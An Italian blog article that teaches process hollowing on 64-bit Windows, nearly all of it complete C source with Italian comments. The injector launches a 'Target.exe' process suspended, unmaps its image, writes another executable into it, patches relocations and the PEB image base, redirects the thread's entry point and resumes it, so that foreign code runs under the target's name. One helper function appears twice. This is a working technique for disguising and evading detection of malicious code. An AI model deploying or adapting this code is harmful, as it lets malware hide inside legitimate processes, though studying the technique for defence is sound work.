Un'applicazione, che chiameremo iniettore o hijacker (dipende dal compito che tale applicazione sta svolgendo), crea un processo target indicando un eseguibile di suo gradimento e sospendendo il thread principale.
Successivamente, l'iniettore carica l'immagine dell'EXE che vuole eseguire realmente al posto dell'immagine del target appena creato.
Infine, l'hijacker (o iniettore, come detto ci riferiamo sempre alla stessa applicazione che ha creato il processo) ripristina il thread sospeso dopo averlo informato sul nuovo indirizzo dal quale iniziare l'esecuzione e che, naturalmente, sarà l'entrypoint dell'immagine dell'eseguibile caricato al passaggio precedente.
Per quanto riguarda lo stile scelto per l'esposizione della tecnica presentata in questo articolo, ho deciso di scrivere tutte le info sotto forma di commenti al codice. Per non appesantire troppo il discorso, inoltre, si prenderà in considerazione e si spiegherà in dettaglio solo la parte relativa all'articolo. Tutto quanto necessario alla comprensione del resto del sorgente si può trovare in un articolo precedente linkato nei riferimenti sotto (si veda [1] e si faccia riferimento ad esso se si hanno dubbi). Il consiglio, per leggere il codice di questo articolo, è quello di partire dall'entrypoint (_tmain) seguendo il flusso naturale delle istruzioni. L'unica cosa importante da aggiungere è che questo codice sorgente si basa su un post presente su rohitab.com (si veda [2]).
Di seguito il codice dell' iniettore/hijacker
int _tmain(int argc, TCHAR *argv[]) { // Percorso EXE da eseguire davvero TCHAR path[MAX_PATH] = { 0 }; GetAppPath(path); _tcscat(path, "ExeApp.exe"); HANDLE hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); DWORD FileSize = GetFileSize(hFile, NULL); // Alloca spazio in questo processo (AppHijack) LPVOID FileBuffer = VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Salva immagine su disco di EXEApp in memoria appena allocata in AppHijack ReadFile(hFile, FileBuffer, FileSize, NULL, NULL); // Percorso Target di cui si vuole creare il processo GetAppPath(path); _tcscat(path, "Target.exe"); if (!ProcHollowing(path, NULL, FileBuffer)) { _tprintf(TEXT("error creating process\n")); return 1; } return 0; }
void GetAppPath(PTCHAR szCurFile) { GetModuleFileName(0, szCurFile, MAX_PATH); for (SIZE_T i = _tcslen(szCurFile) - 1; i >= 0; i--) { if (szCurFile[i] == '\\') { szCurFile[i + 1] = '\0'; break; } } }
typedef NTSTATUS(WINAPI *NtUnmapViewOfSectionFunc)( HANDLE ProcessHandle, LPVOID BaseAddress ); typedef NTSTATUS(WINAPI *NtQueryInformationProcessFunc)( LPVOID ProcessHandle, DWORD ProcessInformationClass, LPVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength ); #define GET_NTHDRS(module) \ ((IMAGE_NT_HEADERS *) \ ((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew)) NtUnmapViewOfSectionFunc pNtUnmapViewOfSection; NtQueryInformationProcessFunc pNtQueryInformationProcess; BOOL ProcHollowing(const PTCHAR name, PTCHAR cmd_line, LPVOID map) { STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; LPCVOID peb_addr; ULONG_PTR org_base; SIZE_T rimage_size; LPVOID dest; IMAGE_NT_HEADERS *nthdrs; ULONG_PTR image_base; CONTEXT cntx; HMODULE ntdll; int res; dest = NULL; res = 0; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); memset(&pinfo, 0, sizeof(pinfo)); if (!(ntdll = GetModuleHandle(TEXT("ntdll.dll")))) return FALSE; if (!(pNtQueryInformationProcess = (NtQueryInformationProcessFunc)GetProcAddress(ntdll, "NtQueryInformationProcess")) || !(pNtUnmapViewOfSection = (NtUnmapViewOfSectionFunc)GetProcAddress(ntdll, "NtUnmapViewOfSection"))) return FALSE; // Crea processo Target sospendendo il thread pricipale prima che inizi la sua esecuzione if (!CreateProcess(name, cmd_line, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sinfo, &pinfo)) return FALSE; // Recupera indirizzo PEB di Target attraverso NtQueryInformationProcess ed // ottiene image base effettivo di Target e sua dimensione in memoria if (!(peb_addr = GetRemotePEB(pinfo.hProcess)) || !GetRemoteBaseAddress(pinfo.hProcess, peb_addr, &org_base) || !GetRemoteSize(pinfo.hProcess, (LPCVOID)org_base, &rimage_size)) { CleanUp(res, &pinfo); return FALSE; } // Recupera indirizzo di IMAGE_NT_HEADERS di immagine su disco di ExeApp in // memoria allocata su AppHijack e salvata a partire da map. // Salva image base desiderato di ExeApp. //nthdrs = (IMAGE_NT_HEADERS*)((LPBYTE)map + ((IMAGE_DOS_HEADER *)map)->e_lfanew); nthdrs = GET_NTHDRS(map); image_base = nthdrs->OptionalHeader.ImageBase; if (!dest) { // Se ExeApp ha tabella rilocazioni cerca prima di metterlo allo stesso image base di Target; // non c'è un motivo particolare, è solo la soluzione più naturale. if (IsRelocatable(nthdrs)) { // Non si sa a priori quanto possano essere grandi le immagini di ExeApp e Target. // Può darsi che quella di ExeApp sia più grande di quella di Target e scrivere ExeApp nello // spazio virtuale di Target può essere rischioso e portare a dei crash. // La cosa più logica da fare è cercare di unmappare completamente la vista dell'immagine di // Target dal suo stesso spazio di indirizzamento virtuale e, se ci si riesce, cercare di allocare // tanto spazio quanto serve ad AppExe a partire da image base di Target. if (pNtUnmapViewOfSection(pinfo.hProcess, (LPVOID)org_base) == 0) dest = VirtualAllocEx( pinfo.hProcess, (LPVOID)org_base, nthdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // Se ExeApp ha tabella rilocazioni ma non si è riusciti ad unmappare o allocare si cerca // allora di trovare uno spazio qualunque dove metterlo. if (!dest && !(dest = VirtualAllocEx( pinfo.hProcess, NULL, nthdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))) { CleanUp(res, &pinfo); return FALSE; } // Imposta ImageBase di IMAGE_NT_HEADERS nthdrs->OptionalHeader.ImageBase = (ULONG_PTR)dest; } // Se ExeApp NON ha tabella rilocazioni è necessario metterlo nel // suo indirizzo desiderato per non creare disastri durante la // risoluzione degli indirizzi. else { // Per farlo cerca di prima di unmappare vista di Target dove // cade image base di ExeApp pNtUnmapViewOfSection(pinfo.hProcess, (LPVOID)image_base); // Cerca di allocare spazio in Target a partire da image base di ExeApp if (!(dest = VirtualAllocEx(pinfo.hProcess, (LPVOID)image_base, nthdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))) { CleanUp(res, &pinfo); return FALSE; } } } // Se ExeApp ha tabella rilocazioni bisogna fixarla. // Lo fa su immagine di ExeApp su disco prima di copiare headers e sezioni. // Non può farlo su immagine in memoria perchè si tratta di un processo remoto e // ci vorfrebbe una DLL injection o uno shellCode per eseguire il codice da lì e non da quì. if (dest != (LPVOID)image_base) FixRawReloc(map, (ULONG_PTR)dest, image_base); // Bisognerebbe fixare anche IAT ma non è possibile farlo su file // dato che necessita di chiamare LoadLibrary da processo creato // e fixare array ThunkFirst. Se necessario e fattibile, alla fine // si può sempre iniettare una DLL o uno shellcode nell'immagine // in memoria e fixare l'IAT. // Copia headers e sezioni e ne imposta le rispettive proprietà di protezione if (!CopyHeaders(pinfo.hProcess, dest, map) || !CopySections(pinfo.hProcess, dest, map) || !ProtectRemoteSections(pinfo.hProcess, dest, nthdrs)) { CleanUp(res, &pinfo); return FALSE; } // Se image base effettivo di ExeApp non è più quello ottenuto da PEB di Target // bisogna fixare PEB.ImageBaseAddress if ((ULONG_PTR)dest != org_base && !SetRemoteBaseAddress(pinfo.hProcess, peb_addr, (ULONG_PTR)dest)) { CleanUp(res, &pinfo); return FALSE; } // Recupera intero contesto del thread principale del processo creato cntx.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(pinfo.hThread, &cntx)) { CleanUp(res, &pinfo); return FALSE; } // Prima che il thread principale di un processo venga eseguito, l'entrypoint dal quale // partire deve trovarsi nel registro RCX. cntx.Rcx = (ULONG_PTR)dest + nthdrs->OptionalHeader.AddressOfEntryPoint; // Reimposta contesto del thread ed avvia quest'ultimo rispristinandolo dalla sospensione if (!SetThreadContext(pinfo.hThread, &cntx) || ResumeThread(pinfo.hThread) == (DWORD)-1) { CleanUp(res, &pinfo); return FALSE; } res = 1; CleanUp(res, &pinfo); return TRUE; }
// Trasforma da RVA a file offset (rispetto ad immagine su disco) DWORD RVAtoRAW(const IMAGE_NT_HEADERS *NTH, DWORD RVA) { DWORD Offset = RVA, Limit; IMAGE_SECTION_HEADER *Img; // Recupera indirizzo del primo header di sezione Img = IMAGE_FIRST_SECTION(NTH); // Se RVA < di indirizzo prima sezione, ritorna RVA così com'è // dato che fino a prima sezione il contenuto dell'immagine tra // versione su disco ed in memoria è lo stesso. if (RVA < Img->PointerToRawData) return RVA; // Itera tutte le sezioni for (int i = 0; i < NTH->FileHeader.NumberOfSections; i++) { // Se la sezione ha una dimensione su disco // imposta questo valore come dimnensione della sezione in // memoria: il contenuto non cambia, solo allineamento può essere diverso. if (Img[i].SizeOfRawData) Limit = Img[i].SizeOfRawData; else // altrimenti imposta la dimensione in memoria a quella indicata da VirtualSize Limit = Img[i].Misc.VirtualSize; // Se RVA in sezione corrente if (RVA >= Img[i].VirtualAddress && RVA < (Img[i].VirtualAddress + Limit)) { // e la sezione è presente su disco if (Img[i].PointerToRawData != 0) { // togliendogli l'indirizzo di partenza della sezione in cui si trova // quello che resta è l'offset rispetto all'inizio di quest'ultima. // Aggiungendo a questo l'indirizzo di partenza della relativa sezione // su disco si ottiene l'RVA rispetto all'inizio dell'immagine su disco. Offset -= Img[i].VirtualAddress; Offset += Img[i].PointerToRawData; } return Offset; } } return NULL; }
// Recupera indirizzo PEB usando NtQueryInformationProcess. // https://docs.microsoft.com/en-us/windows/desktop/api/winternl/nf-winternl-ntqueryinformationprocess LPCVOID GetRemotePEB(HANDLE proc) { PROCESS_BASIC_INFORMATION pbi; DWORD ret_len; return pNtQueryInformationProcess(proc, ProcessBasicInformation, &pbi, sizeof(pbi), &ret_len) == 0 ? pbi.PebBaseAddress : NULL; }
// Recupera memoria di un processo ad un indirizzo indicato. // Ritorna TRUE se l'operazione è avvenuta correttamente. BOOL ReadRemoteMem(HANDLE proc, LPCVOID addr, LPVOID buffer, SIZE_T size) { int ret; SIZE_T read; ret = ReadProcessMemory(proc, addr, buffer, size, &read); return ret && read == size; }
// Scrive memoria di un processo ad un indirizzo indicato. // Ritorna TRUE se lì'operazione è avvenuta correttamente. BOOL WriteRemoteMem(HANDLE proc, LPVOID addr, LPCVOID buffer, SIZE_T size) { int ret; SIZE_T written; ret = WriteProcessMemory(proc, addr, buffer, size, &written); return ret && written == size; }
/* struct PEB64 { union { struct { BYTE InheritedAddressSpace; //0x000 BYTE ReadImageFileExecOptions; //0x001 BYTE BeingDebugged; //0x002 BYTE _SYSTEM_DEPENDENT_01; //0x003 } flags; QWORD dummyalign; } dword0; QWORD Mutant; //0x0008 QWORD ImageBaseAddress; //0x0010 PTR64 Ldr; //0x0018 PTR64 ProcessParameters; //0x0020 QWORD SubSystemData; //0x0028 QWORD ProcessHeap; //0x0030 QWORD FastPebLock; //0x0038 .... .... //... } */ #define PEB_BASE_ADDR_OFFSET 0x10 // 0x8 in versioni precedenti di Windows // Recupera indirizzo di base effettivo di un processo attraverso relativo PEB BOOL GetRemoteBaseAddress(HANDLE proc, LPCVOID peb_addr, PULONG_PTR base_addr) { return ReadRemoteMem(proc, ((LPBYTE)peb_addr + PEB_BASE_ADDR_OFFSET), base_addr, sizeof(*base_addr)); }
// Imposta indirizzo di base effettivo di un processo attraverso relativo PEB BOOL SetRemoteBaseAddress(HANDLE proc, LPCVOID peb_addr, ULONG_PTR base_addr) { return WriteRemoteMem(proc, ((LPBYTE)peb_addr + PEB_BASE_ADDR_OFFSET), &base_addr, sizeof(base_addr)); }
// Recupera dimensione in memoria di un processo BOOL GetRemoteSize(HANDLE proc, LPCVOID image_base, SIZE_T *image_size) { IMAGE_DOS_HEADER doshdr; if (!ReadRemoteMem(proc, image_base, &doshdr, sizeof(doshdr))) return 0; return ReadRemoteMem(proc, ((LPBYTE)image_base + doshdr.e_lfanew + offsetof(IMAGE_NT_HEADERS, OptionalHeader.SizeOfImage)), image_size, sizeof(*image_size)); }
// Controlla se una data DirectoryData è presente BOOL DirExist(const IMAGE_NT_HEADERS *nthdrs, int dir_type) { const IMAGE_DATA_DIRECTORY *dir_entry; dir_entry = &nthdrs->OptionalHeader.DataDirectory[dir_type]; return dir_entry->VirtualAddress != 0 && dir_entry->Size != 0; }
// Controlla se è presente la tabella delle rilocazioni BOOL IsRelocatable(const IMAGE_NT_HEADERS *nthdrs) { return !(nthdrs->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) && DirExist(nthdrs, IMAGE_DIRECTORY_ENTRY_BASERELOC); }
void CleanUp(int res, PPROCESS_INFORMATION pinfo) { if (!res) TerminateProcess(pinfo->hProcess, 0); CloseHandle(pinfo->hThread); CloseHandle(pinfo->hProcess); }
// Fixa rilocazioni in immagine su disco void FixRawReloc(LPVOID map, ULONG_PTR dest_addr, ULONG_PTR image_base) { const IMAGE_NT_HEADERS *nthdrs; const IMAGE_DATA_DIRECTORY *reloc_dir_entry; IMAGE_BASE_RELOCATION *cur_reloc, *reloc_end; LONGLONG delta; nthdrs = GET_NTHDRS(map); reloc_dir_entry = &nthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; cur_reloc = (IMAGE_BASE_RELOCATION *)((LPBYTE)map + RVAtoRAW(nthdrs, reloc_dir_entry->VirtualAddress)); reloc_end = (IMAGE_BASE_RELOCATION *)((LPBYTE)cur_reloc + reloc_dir_entry->Size); delta = dest_addr - image_base; while (cur_reloc < reloc_end && cur_reloc->SizeOfBlock) { int count; WORD *cur_entry; void *page_raw; count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); cur_entry = (PWORD)(cur_reloc + 1); page_raw = (LPBYTE)map + RVAtoRAW(nthdrs, cur_reloc->VirtualAddress); while (count--) { if (*cur_entry >> 12 == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)((LPBYTE)page_raw + (*cur_entry & 0x0fff)) += delta; cur_entry++; } cur_reloc = (IMAGE_BASE_RELOCATION *)((LPBYTE)cur_reloc + cur_reloc->SizeOfBlock); } }
// Trasforma da RVA a file offset (rispetto ad immagine su disco) DWORD RVAtoRAW(const IMAGE_NT_HEADERS *NTH, DWORD RVA) { DWORD Offset = RVA, Limit; IMAGE_SECTION_HEADER *Img; // Recupera indirizzo del primo header di sezione Img = IMAGE_FIRST_SECTION(NTH); // Se RVA < di indirizzo prima sezione, ritorna RVA così com'è // dato che fino a prima sezione il contenuto dell'immagine tra // versione su disco ed in memoria è lo stesso. if (RVA < Img->PointerToRawData) return RVA; // Itera tutte le sezioni for (int i = 0; i < NTH->FileHeader.NumberOfSections; i++) { // Se la sezione ha una dimensione su disco // imposta questo valore come dimnensione della sezione in // memoria: il contenuto non cambia, solo allineamento può essere diverso. if (Img[i].SizeOfRawData) Limit = Img[i].SizeOfRawData; else // altrimenti imposta la dimensione in memoria a quella indicata da VirtualSize Limit = Img[i].Misc.VirtualSize; // Se RVA in sezione corrente if (RVA >= Img[i].VirtualAddress && RVA < (Img[i].VirtualAddress + Limit)) { // e la sezione è presente su disco if (Img[i].PointerToRawData != 0) { // togliendogli l'indirizzo di partenza della sezione in cui si trova // quello che resta è l'offset rispetto all'inizio di quest'ultima. // Aggiungendo a questo l'indirizzo di partenza della relativa sezione // su disco si ottiene l'RVA rispetto all'inizio dell'immagine su disco. Offset -= Img[i].VirtualAddress; Offset += Img[i].PointerToRawData; } return Offset; } } return NULL; }
BOOL CopyHeaders(HANDLE proc, LPVOID base, LPCVOID src) { const IMAGE_NT_HEADERS *nthdrs; nthdrs = GET_NTHDRS(src); return WriteRemoteMem(proc, base, src, nthdrs->OptionalHeader.SizeOfHeaders); }
static int CopySections(HANDLE proc, LPVOID base, LPCVOID src) { const IMAGE_NT_HEADERS *nthdrs; const IMAGE_SECTION_HEADER *sechdr; WORD i; nthdrs = GET_NTHDRS(src); sechdr = (IMAGE_SECTION_HEADER *)(nthdrs + 1); for (i = 0; i < nthdrs->FileHeader.NumberOfSections; ++i) { LPVOID sec_dest; if (sechdr[i].PointerToRawData == 0) continue; sec_dest = (LPBYTE)base + sechdr[i].VirtualAddress; if (!WriteRemoteMem(proc, sec_dest, (LPBYTE)src + sechdr[i].PointerToRawData, sechdr[i].SizeOfRawData)) return 0; } return 1; }
// Imposta proprietà di protezione di headers e sezioni BOOL ProtectRemoteSections(HANDLE proc, LPVOID base, const IMAGE_NT_HEADERS *snthdrs) { IMAGE_SECTION_HEADER *sec_hdr; DWORD old_prot, new_prot; WORD i; // Headers tutti READONLY VirtualProtectEx(proc, base, snthdrs->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &old_prot); sec_hdr = (IMAGE_SECTION_HEADER *)(snthdrs + 1); for (i = 0; i < snthdrs->FileHeader.NumberOfSections; ++i) { LPVOID section; section = (LPBYTE)base + sec_hdr[i].VirtualAddress; new_prot = GetSectionProtection(sec_hdr[i].Characteristics); if (!VirtualProtectEx(proc, section, sec_hdr[i].Misc.VirtualSize, new_prot, &old_prot)) return 0; } return 1; }
DWORD GetSectionProtection(DWORD secp) { DWORD vmemp; int executable, readable, writable; executable = (secp & IMAGE_SCN_MEM_EXECUTE) != 0; readable = (secp & IMAGE_SCN_MEM_READ) != 0; writable = (secp & IMAGE_SCN_MEM_WRITE) != 0; vmemp = secprot[executable][readable][writable]; if (secp & IMAGE_SCN_MEM_NOT_CACHED) vmemp |= PAGE_NOCACHE; return vmemp; }
// executable, readable, writable DWORD secprot[2][2][2] = { { //not executable {PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE} }, { //executable {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE} } };
Come si può notare, il processo viene identificato come Target ma viene eseguita l'immagine di ExeApp
Codice sorgente:
Process_Hollowing.zip
Riferimenti:
[1] Caricare DLL in memoria manualmente
[2] http://www.rohitab.com/discuss/topic/41529-stealthier-process-hollowing-code/
Nessun commento:
Posta un commento